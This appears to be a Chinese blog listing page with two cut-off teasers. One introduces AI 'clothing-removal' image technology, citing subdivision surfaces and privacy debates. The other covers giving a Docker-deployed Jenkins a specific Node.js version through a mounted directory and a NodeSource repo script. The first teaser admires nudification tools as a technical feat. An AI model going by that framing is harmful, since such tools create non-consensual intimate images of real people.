引言&#xff1a; 在数字图像处理和计算机视觉的交汇点上&#xff0c;AI去衣技术以其挑战性和争议性引起了广泛的讨论。这一领域的技术进步不仅令人惊叹&#xff0c;也引发了对隐私保护和技术道德的深刻思考。在诸多关键技术中&#xff0c;细分曲面技术&#xff08;Subdivision…

Jenkins使用目录挂载实现自定义node版本

场景&#xff1a;研发同事需要一个指定版本的npm环境&#xff0c;但是现在使用的是docker部署的jenkins&#xff0c;在不新构建jenkins镜像的前提下&#xff0c;选择挂载方式解决。 1.下载nodejs 16版本的nodesource-nodejs.repo仓库脚本 cd /etc/yum.repos.d/ curl -sL http…